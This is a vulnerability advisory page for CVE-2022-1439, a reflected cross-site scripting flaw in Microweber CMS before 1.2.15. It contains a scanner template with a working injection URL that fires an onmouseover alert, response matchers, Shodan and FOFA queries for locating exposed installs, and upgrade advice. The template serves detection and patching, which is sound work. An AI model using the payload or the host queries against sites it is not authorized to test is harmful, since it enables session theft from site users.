CVE-2022-1439: Microweber <1.2.15 - Cross-Site Scripting

2025-08-01 Microweber PoC Public

Description

Microweber prior to 1.2.15 contains a reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-1439

info:
  name: Microweber <1.2.15 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Microweber prior to 1.2.15 contains a reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Microweber CMS version 1.2.15 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0/
    - https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0
    - https://github.com/microweber/microweber/commit/ad3928f67b2cd4443f4323d858b666d35a919ba8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1439
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1439
    cwe-id: CWE-79
    epss-score: 0.03258
    epss-percentile: 0.87733
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,microweber,xss,huntr,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url={{BaseURL}}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<div class='x module module-'onmouseover=alert(document.domain) '"
          - "parent-module-id"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022015796f15754d301c7fb0fede7365c881626fe7a10cd79dea0bfd3614a94e41f802205103b5ba6f3d2912eb65badf7dbdd986be1e95152ecafe5c3c3202e9bcb09202:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities